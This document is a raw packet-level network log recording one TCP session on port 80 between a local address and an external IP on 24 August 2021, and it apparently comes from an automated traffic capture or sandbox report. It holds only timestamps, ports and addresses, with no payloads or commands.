Aug 24, 2021 14:02:03.818762064 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818785906 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818804026 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818809032 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818833113 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818851948 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.818857908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.818897963 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841120958 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841188908 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841213942 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841258049 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841288090 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841325998 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841336966 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841366053 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841389894 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841429949 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841438055 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841487885 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841490984 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841532946 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841558933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841603994 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841625929 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841696978 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841722012 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841748953 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841772079 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841816902 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841841936 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841886044 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841922045 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.841969013 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.841984034 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842029095 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842034101 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842078924 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842082977 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842127085 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842133045 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842180014 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842181921 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842221975 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842228889 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842272043 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842278004 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842319012 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842328072 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842369080 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842372894 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842416048 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842418909 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842458010 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842475891 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842516899 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842526913 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842567921 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842586994 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842632055 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842642069 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842683077 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842713118 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842756987 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842782974 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842827082 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842839956 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842881918 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842902899 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.842947960 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.842971087 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843013048 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843040943 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843085051 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843128920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843174934 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843189001 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843235016 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843256950 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843300104 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843343019 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843388081 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843415976 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843456984 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843480110 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843525887 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843558073 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843602896 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843631029 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843674898 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843702078 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843745947 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843745947 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843770981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843790054 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843792915 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843808889 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843815088 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843837976 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843842983 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843866110 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843874931 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843892097 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843899965 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843914032 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843921900 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843938112 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843945980 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843961954 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843966961 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.843985081 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.843992949 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844012022 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844014883 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844041109 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844042063 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844064951 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844065905 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844088078 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844089985 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844111919 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844114065 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844135046 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844139099 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844158888 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844162941 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844181061 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844185114 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844206095 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844209909 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844229937 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844233036 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844254971 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844259024 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844278097 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844280005 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844300985 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844302893 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844322920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844326019 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844347000 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844348907 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844369888 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844374895 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844388008 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844403982 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844412088 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844435930 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844435930 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844460011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844482899 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844484091 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844507933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844507933 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844532967 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844540119 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844556093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844563961 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844578028 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844589949 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844599962 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844614029 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844621897 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844645977 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844650984 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844669104 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844691038 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844693899 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844718933 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844727039 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844741106 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844764948 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844764948 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844788074 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844796896 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844810963 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844834089 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844839096 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844856977 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844871044 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844881058 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844893932 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844904900 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844926119 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844928026 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844950914 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844950914 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844974041 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844974041 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.844997883 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.844999075 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845021963 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845024109 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845046043 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845046997 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845069885 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845071077 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845089912 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845096111 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845113993 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845118046 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845139027 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845140934 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845161915 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845164061 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845184088 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845185995 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845207930 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845210075 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845230103 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845232964 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845251083 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845257998 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845269918 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845283985 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845302105 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845305920 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845324039 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845328093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845347881 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845350981 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845371008 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845372915 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845396996 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845402002 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845422029 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845427036 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845448017 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845453978 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845473051 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845474958 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845495939 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845499992 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845518112 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845521927 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845541954 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845549107 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845565081 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845570087 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845588923 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845593929 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845612049 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845617056 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845639944 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845644951 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845663071 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845668077 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845686913 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845693111 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845710993 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845715046 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845735073 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845740080 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845757961 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845762968 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845779896 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845788002 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845803022 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845813036 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845828056 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845834017 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845854044 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.845856905 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845879078 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.845899105 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868123055 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868184090 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868216038 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868237972 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868257999 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868280888 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868284941 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868302107 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868304968 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868351936 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868352890 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868393898 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868407011 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868439913 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868443966 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868467093 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868483067 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868509054 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868520975 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868551970 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868563890 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868599892 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868604898 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868644953 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868669033 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868693113 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868701935 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868724108 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868750095 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868755102 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868771076 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868794918 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868794918 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868827105 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868839025 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868871927 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868874073 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868911982 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868915081 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868938923 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868959904 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.868971109 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.868983984 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869004011 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869024038 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869038105 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869045019 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869060993 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869080067 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869105101 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869107008 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869136095 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869149923 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869180918 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869193077 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869237900 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869263887 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869307995 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869309902 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869333982 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869386911 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869451046 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869489908 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869498014 CEST	49732	80	192.168.2.3	212.224.105.79
Aug 24, 2021 14:02:03.869522095 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869543076 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869565010 CEST	80	49732	212.224.105.79	192.168.2.3
Aug 24, 2021 14:02:03.869575977 CEST	49732	80	192.168.2.3	212.224.105.79
